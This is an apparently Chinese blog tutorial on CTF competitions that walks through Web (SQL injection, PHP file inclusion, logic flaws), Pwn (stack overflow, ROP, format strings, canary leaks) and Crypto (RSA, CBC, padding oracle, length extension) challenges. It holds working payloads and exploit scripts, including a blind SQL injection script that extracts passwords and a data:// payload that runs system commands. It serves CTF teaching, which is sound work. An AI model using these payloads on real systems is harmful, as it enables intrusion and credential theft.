☰
CTF实战指南:Web、Pwn、Crypto三大方向真题拆解与避坑经验
2026/10/14 21:52:12 网站建设 项目流程

CTF三个字母摆在那里,不同的人看到的东西完全不一样。有人看到的是炫酷的攻击手法,有人想到的是高额奖金和排名,但真正打了几十场比赛、刷了几百道题之后,我越来越觉得,CTF就是一面镜子,照出你在Web、Pwn、Crypto这些方向上的基本功到底扎实不扎实。很多朋友卡在瓶颈期,刷题刷了不少,一上赛场还是两眼一抹黑,说白了就是没把真题吃透,只记了payload没理解原理。这篇文章我会拿几类非常典型、出现频率极高的真题出来,从破题思路到工具使用再到踩坑细节,一步步拆给你看,希望能帮你把实战这条路上的关键节点打通。

不管你是刚入门不久、想找方向的初学者,还是已经被卡在某个瓶颈、想突破现状的老选手,这篇文章都适合你。内容不会讲太多高屋建瓴的东西,更多是我自己刷题、比赛过程中积累下来的实操经验,配合完整的题目拆解和代码过程,尽量做到你照着走一遍就能有收获。

1. 整体思路:Web、Pwn、Crypto三大主战场怎么攻

正式拆题之前,先把全局思路捋一遍。很多人一上来就急着刷题,结果东一榔头西一棒子,今天看SQL注入明天看栈溢出,学了三个月还是什么都会一点、什么都不精。我建议你先搞清楚这三个方向到底在考什么,再决定往哪个方向集中投入。

1.1 Web方向的门槛与天花板

Web题目从考察能力上看,是最贴近真实世界安全工作的。它的核心逻辑很简单:目标网站是活的,你的任务是找到开发者留下的逻辑漏洞、配置疏漏或者编码缺陷。常见命题点就那么几大类——注入、文件操作、信息泄露、逻辑绕过、代码审计、反序列化,这几年还多了不少前端相关的题目。

Web方向最大的特点就是上手快。你不需要完整理解操作系统底层,不需要反复折腾汇编语言,只要懂HTTP请求怎么构造、懂点数据库语法、会看前端代码,再配上一套顺手的抓包改包工具,就能开始做第一道题。但要注意,Web的上限也很高,复杂一点的代码审计和框架漏洞利用,需要对现代开发框架、中间件、容器编排都有比较深的理解,不是靠背几个payload就能搞定的。

我给新手的建议是:Web方向适合作为第一个主攻方向,但不建议把所有时间都砸进去。因为Web的ROP链相对较短,题型重复度高,刷到一定程度边际收益会明显下降。这时候就应该往Pwn或者逆向方向分点精力,把底层的根基补上。

1.2 Pwn方向:底层功底的试金石

Pwn本质上是漏洞利用,核心目标是拿到目标程序的控制权。它考察的是你对操作系统内存管理、汇编指令、调用约定、保护机制的理解程度。一道经典的栈溢出题目,往往需要你同时掌握栈帧结构、参数传递规则、NX、ASLR、PIE、canary等保护机制,还要会高效地调试和分析二进制文件。

Pwn的入门曲线比Web陡不少。第一次面对IDA里密密麻麻的反汇编代码时,很容易产生劝退的感觉。但只要你把栈溢出和格式化字符串这两块啃下来,后面学堆利用、内核利用的时候就会发现,很多抽象的概念背后其实共享同一套逻辑。Pwn题的正反馈也比较强,当你第一次让一个看似固若金汤的程序弹出shell的时候,那种成就感是其他方向给不了的。

如果你编程基础不错,又喜欢折腾底层,Pwn方向值得长期投入。但请务必做好心理准备,Pwn的学习周期以月为单位计算,短期看不到回报非常正常。

1.3 Crypto方向:数学功底与协议理解的结合

Crypto题目在很多人眼里是最难啃的骨头,因为它需要数学功底做支撑。但实际上比赛里常见的Crypto题目并没有那么高不可攀,大部分都是基于经典密码学原语展开变化。比如针对RSA的各种攻击场景、分组密码的常见模式缺陷、哈希算法的长度扩展攻击、随机数预测等,都是历年真题中反复出现的考点。

Crypto题目最大的特点是不吃机器配置、环境依赖少,只要分析对了攻击路径,几行脚本就能出结果。而且Crypto题目的答案通常非常确定,不存在乱七八糟的环境问题或者工具版本差异,解出来就是解出来了。这给了很多没有强力机器的选手一个相对公平的赛道。

我的建议是:Crypto适合作为第二或第三主攻方向,不需要占太多时间,但每周保持一定题量的手感很重要。因为Crypto的攻击模式相对固定,一段时间不碰就会生疏,常见脚本模板都得重看一遍才能想起来。

1.4 三方向交叉的复利效应

还有一个很多新人没意识到的事实:这三个方向其实是互相加成的。你用Pwn里积累的调试经验去看Web题目中的二进制组件,思路会清晰得多;你用Web里的协议理解去反推Crypto题目中的交互逻辑,也更容易找到切入点。所以只盯着一个方向刷到天荒地老并不可取,比较理想的状态是有一个主攻方向,其余两个方向保持刷题节奏,形成交叉的知识网络。

2. Web方向核心真题拆解:从注入到文件包含的完整链路

Web方向的真题,我挑三个最有代表性的类型出来做拆解,基本覆盖了这个方向的半壁江山。

2.1 SQL注入:报错、联合与盲注的完整链路

SQL注入是最经典的Web漏洞之一,但经典归经典,每年依然有大量队伍在第一道注入题上翻车。根本原因不是不会用sqlmap,而是没搞清楚注入点在什么位置、后台查询长什么样、过滤规则是怎么写的。

我拿一道典型题目举例:页面只有一个输入框,提交之后显示查询结果,后端逻辑大概是这样的:

$keyword = $_GET['keyword']; $sql = "SELECT * FROM article WHERE title LIKE '%$keyword%'"; $result = mysqli_query($conn, $sql);

第一件事永远是判断注入点。输入一个单引号,如果页面报错或者显示结果异常,说明参数很可能直接拼接进了SQL语句。这种情况下直接上联合查询往往效率最高:

keyword=' UNION SELECT 1,2,3,4--+

通过注释掉后面的引号和查询条件,让联合查询的结果回显到页面上。接下来就是常规操作:爆库名、爆表名、爆列名、拿数据。这里有个很有用的技巧,就是利用group_concat函数把同列的多行结果拼成一行,避免只回显第一行数据的限制。实测很多站点的信息收集就靠这一条:

' UNION SELECT 1,GROUP_CONCAT(schema_name),3,4 FROM information_schema.schemata--+

不过常规注入在真实比赛里经常被过滤,最常见的就是把空格、注释符、关键字拦掉。处理空格可以用注释符/**/替代,处理关键字可以用大小写混写、内联注释、双写绕过等手段。还有个容易被忽略的骚操作:用%0a、%0b、%0c这些特殊空白字符代替空格,在很多PHP环境下能绕过正则检查。

盲注的题就麻烦一些,页面不回显数据,只会告诉你查询成功还是失败。这种情况下我一般先写个二分法脚本判断字符范围,再逐字符爆数据。之前写过一个基于时间盲注的测试脚本,核心思路就是利用sleep函数制造时间差,通过响应用时来判断条件真假:

import requests import time url = "http://target.com/index.php" result = "" for i in range(1, 64): for c in range(32, 127): payload = f"' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),{i},1))={c},SLEEP(2),0)--+" params = {"keyword": payload} start = time.time() requests.get(url, params=params, timeout=10) elapsed = time.time() - start if elapsed > 1.5: result += chr(c) break print(result)

这个脚本逻辑不复杂,但如果你现场去写,很浪费时间。所以我会在本地维护一套常用的盲注模板,包括布尔盲注、时间盲注、报错盲注,比赛中直接改URL和参数位就能跑。这种前期准备看似不起眼,关键时刻能帮你省出半小时做其他题。

2.2 文件包含与PHP伪协议利用

文件包含是另一类高频考点,尤其是出现在PHP环境里的题目。命题人把include函数的参数设计成用户可控,或者设计一个文件下载功能但没做好路径限制,就给了攻击者读取源码、甚至执行代码的空间。

经典的利用方式就是PHP伪协议。读源码首选php://filter,配合base64_encode来绕过直接输出PHP代码时被浏览器解析的问题。常见payload长这样:

?page=php://filter/read=convert.base64-encode/resource=flag.php

响应里拿到的是base64编码后的PHP源码,丢进解码器就能看到真正的逻辑。然后根据源码里暴露的过滤规则,再决定下一步怎么打。如果允许文件包含远程内容,且开启了allow_url_include,那就可以直接用data://伪协议跑代码:

?page=data://text/plain,<?php system("cat /flag");?>

这里有个坑我必须提醒:很多新手以为有文件包含就一定能写到shell,实际上现代CTF题目已经很少直接给你这么舒服的条件。更多是结合日志文件注入、临时文件上传等方式进行间接利用。比如Nginx环境里可以想办法把恶意PHP代码写进access.log,再通过文件包含去包含日志文件触发解析。这个思路在真实渗透中也非常好用,值得熟练掌握。

2.3 身份认证与逻辑绕过:最容易被低估的高频考点

很多人刷Web的注意力全放在堆叠注入和反序列化上面,却忽略了最朴素的逻辑漏洞。这类题目不需要什么花哨的利用链,纯粹考验你的认知视角。常见的命题方式:注册功能只校验了用户名是否重复,却忘了校验邮箱是否已绑定;找回密码的验证码永不失效;修改个人资料时管理员字段可以通过请求参数直接传入。

有一年某场比赛出了一个很有意思的题目:用户信息页有个“权限升级”按钮,点了之后提示“仅限管理员”。我习惯性地抓包研究了一番接口参数,发现请求里带了一个ID字段,改成管理员的ID后返回了不同的菜单选项。但后端还是校验了会话里的身份,只凭这个改动还不够。接着我观察到一个更隐蔽的地方:修改密码的接口没有校验旧密码。于是我先用ID遍历拿管理员的账号信息,然后直接调用改密接口重置了管理员的密码,登录进去拿到flag。

这类题目给出的教训是:抓包看到参数就要有改成其他值的条件反射,别只盯着注入和高大上的漏洞类型。逻辑漏洞往往隐藏在业务流转的边缘环节,比如状态变迁、越权判断、并发处理这些地方。

在处理这类题目时有一个很实用的方法:把整个业务流程从头到尾手工走一遍,每个请求都打开Burp的History面板去看,不轻易放过任何一个看起来多余的参数和请求。逻辑漏洞不是扫出来的,是翻包翻出来的。

3. Pwn方向核心真题剖析:从栈溢出到利用工程化

Pwn方向题目很多,但套路最固定、最值得重点突破的就是栈溢出和格式化字符串。把这两个吃透,对付大部分入门到中等难度的Pwn题就够用了。

3.1 程序分析环境:checksec与我们第一次亲密接触

拿到一个Pwn题,第一步永远是用checksec看一下目标程序的保护机制:

checksec ./pwn1

输出结果能看到四个关键保护的状态:NX、PIE、RELRO、Canary。NX如果开启了,栈上就不能直接执行shellcode;PIE开启意味着地址随机,直接写死返回地址会失效;Canary存在的话,覆盖返回地址之前会先碰到随机值导致程序崩溃。这几个状态的组合直接决定了你后面用哪种利用方案。

如果是64位程序,还要注意对应的调用约定:函数调用时前六个整型参数依次通过RDI、RSI、RDX、RCX、R8、R9传递,而不是像32位程序一样全都压栈。这一点在构造ROP链时极其关键,很多人写错exp就是在这里栽了跟头。

3.2 栈溢出与ROP链构造:一场与ASLR的拉锯战

经典的栈溢出题长这样:程序存在一个不检查长度的read或gets,可以覆盖到栈上的返回地址。在没有开启PIE的情况下,返回地址可以直接指向程序内部的system函数或者一个后门函数。

比如程序中存在一个明显的shel后门函数,地址是0x4011B6,利用思路就是把栈上的返回地址覆盖成这个地址:

from pwn import * io = process('./pwn1') payload = b'A' * 0x48 + p64(0x4011B6) io.sendline(payload) io.interactive()

0x48是缓冲区和返回地址之间的距离,这个值需要通过分析汇编代码或者用GDB调试来确定。很多人上手就猜偏移量,结果不是覆盖错位置就是覆盖了栈帧里的其他值,看起来离成功很近就是拿不到shell。

如果开了PIE,处理方式就变了。最常见的是两步走:先利用一次信息泄露拿到程序加载基址,再把泄露出来的基址加到已知偏移上,计算真实的返回地址。比如程序有个打印函数地址的输入点,你输入格式化字符串让它泄露栈上的某个返回地址,然后用泄露值算出基址,第二次输入时就能生成正确的payload。

进阶一点的情况是没有现成的后门函数,需要构造ROP链调用system("/bin/sh")。构造的核心是寻找gadget,常见做法是用ROPgadget搜索:

ROPgadget --binary ./pwn1 --only "pop|ret" | grep rdi

找到pop rdi; ret这条gadget,就能把字符串/bin/sh的地址传给system函数。完整exp长这样:

from pwn import * context.arch = 'amd64' io = process('./pwn1') pop_rdi = 0x40123a binsh = 0x40200a system_addr = 0x4010b0 payload = b'A' * 0x48 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system_addr) io.sendline(payload) io.interactive()

3.3 格式化字符串:不止于泄露地址的一种手段

格式化字符串漏洞在Pwn题中的出镜率非常高,而且往往承担的是信息泄露的功能。printf(buf)这种写法一旦buf是用户可控的,攻击者就能通过%p、%s、%n这些占位符读取和改写栈上的内容。

定位偏移是第一步。输入AAAA-%p-%p-%p-%p-%p-%p,跑一遍看输出里哪一个是0x41414141,那个位置就是参数偏移。确认偏移后要泄露某个特定地址的内容,直接用%x$s这种索引格式就行,x就是偏移编号。如果对方程序是64位,格式化参数从寄存器开始传,前几个参数落在RSI、RDX这些寄存器上,偏移量计算会和32位程序不同,这个需要专门留意。

利用格式化字符串写内存是另一种玩法,核心是利用%n把已经输出的字符数量写到指定地址,实现任意地址写入。写地址之前一般先做一次泄露拿到目标地址,再用%hn按字节写入。这个过程非常精细,一旦地址排列错位就前功尽弃。我自己刷题时总结了一套模板:先用泄露确定布局,然后用pwntools自动化生成格式化字符串payload。

3.4 栈题实战:一次完整的exp开发流程复盘

只看理论容易迷糊,我拿一道比较典型的栈溢出来串一下完整流程。程序是64位,开了NX和canary,没开PIE。漏洞点是一个read函数可以覆盖栈,但栈帧里有canary,直接盖返回地址就会触发检测。hint是程序内部还有一个函数可以打印flag内容。

第一步用GDB在read调用的返回处打断点,查看栈布局,确认缓冲区到canary的偏移是多少。通常从汇编代码也能看出来,比如sub rsp, 0x60再lea rax, [rsp+0x10],那缓冲区起始位置到栈底的距离就是0x60,到canary的偏移就是0x60-0x10=0x50。

第二步构造payload时先填充0x48字节到canary位置,然后需要泄露canary值。泄露方式是通过程序里存在的一个输出函数,把canary打印到标准输出。用接收到的canary原样填回去,再继续覆盖返回地址。整个exp的思路串起来就是:

from pwn import * io = process('./pwn2') io.recvuntil(b'Input:') io.sendline(b'A' * 0x50 + b'B') # 触发泄露的输入 io.recvuntil(b'Leak: ') canary = u64(io.recvn(7).rjust(8, b'\x00')) payload = b'A' * 0x48 + p64(canary) + b'B' * 8 + p64(flag_func) io.sendline(payload) io.interactive()

这里比较隐蔽的坑是canary最低字节固定是\x00,泄露时往往只能收到7个有效字节,需要手动用rjust补零。每次遇到需要canary的题目,我都会把这段代码用pwntools封装成一个函数,直接复用,再也不用临时去回忆细节了。

4. Crypto方向真题剖析:当数学原理变成可执行的攻击脚本

Crypto题目在不少人眼里像天书,但真题里真正涉及艰深数学的少之又少,大部分都在经典攻击模型里打转。只要把RSA和分组密码的几种经典攻击模式吃透,难题的突破感会非常明显。

4.1 RSA经典攻击面:当公钥参数悄悄泄露信息

RSA题目最经典的第一步永远是分解公钥参数。拿到一段题目给出的公钥信息或pem文件,第一件事用工具提取n和e。在比赛脚本中我一般直接解析整数而不是依赖外部工具:

from Crypto.Util.number import bytes_to_long, long_to_bytes # 假设从题目拿到了n, e, c # 经典场景1:n太小可以直接分解或查库 p = 100711409 q = 100711423 phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n) print(long_to_bytes(m).decode())

如果n很大但两个素因数相近,用费马分解;如果n在多个题目中重复使用,可能是共享素数攻击。有一个满经典的思路是gcd碰撞:同一次比赛中两个题目的n共享了一个素数因子,只需要计算两个n的最大公约数就能破解。我当时就是用Python一行搞定:

prime = gcd(n1, n2) p1 = prime q1 = n1 // prime

低加密指数攻击也经常出现。当e很小、消息长度也小时,直接对密文开e次方就能还原明文。稍微复杂一点的情况是低指数广播攻击:同一消息用相同的小e加密发往多个接收者,可以用中国剩余定理解方程组。

还有一类隐藏较深的攻击是,给了dp或dq这类私钥中间值,配合已知的n、e就能恢复私钥参数。这类题目不会直接告诉你“这是dp泄露”,需要你自己观察数据特征才知道。解题时做好数据特征标注会省很多事。

4.2 分组密码的模式陷阱与Padding Oracle攻击

分组密码这块,AES本身很难攻破,但模式选择不当就给了攻击者操作空间。ECB模式因为同一明文块会产生相同密文块,可以用来判断明文块的内容是否相同,经典的字节翻转攻击也依赖这个特性。

CBC模式的字节翻转攻击原理其实很简单:你修改某个密文块C[i]的某一字节,只会影响到解密后P[i]对应位置的字节,以及P[i+1]对应位置的字节(通过异或运算)。所以如果你能控制IV或某个密文块,就能定向篡改下一块解密出的明文内容。这种题型常见于登录逻辑、权限判断等处,通过篡改密文让服务器以管理员身份处理。

Padding Oracle攻击则更高级一些。当你把篡改后的密文发给服务器,服务器的解密填充校验会返回不同错误提示,攻击者就能利用这个ORACLE逐字节恢复明文或者构造任意明文对应的密文。这个攻击的脚本实现相对固定,但容易踩坑的地方在于:不同语言、不同密码库对填充错误和认证失败的报错信息不一样,必须通过大量请求确定哪类响应是“填充错误”。如果响应区分不出来,就得考虑换个攻击思路。

4.3 哈希长度扩展攻击:一个手工就能实现的经典操作

哈希长度扩展攻击很多人听过名字但没动手实现过。这个攻击成立的前提是:使用hash(secret || message)这种结构做认证。当你知道hash、message和密钥长度时,可以在不直到密钥的情况下计算出hash(secret || message || padding || extra)的值,从而伪造合法的追加消息。

原理涉及MD5/SHA-1这类哈希算法的内部压缩过程,但实战中你不需要自己实现。工具都封装好了,关键是提取正确的参数:原始消息长度、原始哈希值、密钥长度范围。构造好新消息后提交给服务器,服务器计算出来的哈希和你的伪造哈希一致,认证就通过了。

我还记得第一次手动实现长度扩展攻击时的感受——一个看似安全的认证方案,就这样被几个字节的padding和内部状态改写得体无完肤。从那以后我写代码时对secret || message这类拼接方案格外警惕。

4.4 密码题通用解题思路:从密文特征到攻击面判断

刷多了Crypto题你会发现,拿到题目先观察数据特征,比直接套攻击脚本要快得多。如果给的是一串很短的十进制数,大概率是RSA加密后的值;如果给的是随机生成的矩阵,可能是格密码或ElGamal类题目;如果提供AES密文和加密过程中的IV变化,可能是CBC字节翻转陷阱;如果给了很多轮交互的随机数输出,大概率是随机数预测。

把这些特征整理成一张检查清单存在本地,每次遇到新题先过一遍清单,命中哪条就直接跳转到对应的攻击模板。这个方法的效率远高于看到题目就开始盲试,强烈建议你也整理一份。

5. 常见问题与实战避坑记录:那些让我翻过车的细节

最后一部分,我把这些年比赛和刷题过程中踩过的典型坑和总结出的经验整理一下,都是血泪换来的,希望对你有用。

5.1 环境与工具的坑

本地复现环境和题目环境不一致是最常见的问题。Pwn题在本地能通,上远程打不通,十有八九是libc版本不一致。做题前一定要检查远程题目的libc版本,建议直接用工具精确匹配到对应版本的libc环境。否则你在本地精心构造的rop链,到远程可能因为几个函数偏移的差异直接失效。

还有Windows和Linux的换行符差异也坑过不少人。从Windows本地写好exp直接跑远程,发送的\r\n可能导致远程解析不一致,出现各种莫名其妙的错误。所以脚本里发payload和收数据的地方,尽量显式控制字节而不是依赖文本光标。

Web题的环境坑更多集中在Python和PHP版本差异上。php://filter的可用的过滤器在不同版本里有细微区别,一些伪协议在特定版本下直接不可用。遇到这种时候我一般用字典枚举可用过滤器,不要凭记忆死记硬背。

5.2 比赛策略和时间分配

CTF比赛节奏紧、题目多,时间分配直接影响最终成绩。我的经验是:前30分钟先把所有题目都过一遍,把每道题的分数、类型、hint记下来,优先选择自己最有把握的方向先做。不要在单一题目上死磕超过40分钟,尽早换题、留个记录回头再战。

还有一个非常实用的技巧:把团队中每个人擅长的方向固定下来,根据题目类型分配人员。比如有人负责Pwn、有人专门打Web,Crypto由数学比较好的那位统一处理。现场临时切换方向往往效率很低,不如一开始就明确分工。

排名靠前的队伍之所以稳定,除了技术过硬,更重要的是他们有一套稳定且高效的比赛流程。你自己单练的时候也可以模拟这种节奏:限时、限题量、模拟真实环境,练得越多,赛场的紧张感对你的影响就越小。

5.3 刷题方法与进阶路线

如果你还在瓶颈期,不妨试试“专题式刷题”。把某一类题型集中刷上20道以上,而不是今天一道Web明天一道Pwn地乱来,效果会好得多。每个专题刷完做一次复盘,把关键利用模板和易错点整理进自己的笔记里。这个过程很枯燥,但坚持下来后你的知识体系会比碎片化刷题完整得多。

当基础题已经稳定拿下时,可以尝试去复盘高水平选手写的解题报告。重点看的不是对方的payload,而是他的分析过程和工具选择。刚开始可能觉得对方思路跳跃、看不懂,但当你能跟上解题者的思维节奏时,说明你的水平已经迈上了一个台阶。

还有一点比较容易被忽视:多参加一些高仿真的内部演练赛或公开比赛。平常刷题做对了没有环境压力,比赛才是检验水平的试金石。真正上了赛场,你才会发现自己哪些知识点只是“以为自己会了”,而不是真会。

最后分享一个我个人的习惯:每次比赛结束,无论成绩如何,我都会第一时间把做出来的和没做出来的题目全部复盘并归档,形成自己的题库。这些题目和笔记就是我最好的老师。下一次比赛前,翻一遍旧的复盘记录,很多关键细节会瞬间回到脑子里,省去大量的重复摸索时间。

如果你能坚持这个习惯,一年之后回看,你会惊讶于自己的成长速度。CTF这条路没什么捷径,但方向正确、方法得当,突破瓶颈只是时间问题。希望这篇文章能帮你在实战的道路上少走一些弯路,早日打出自己满意的成绩。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询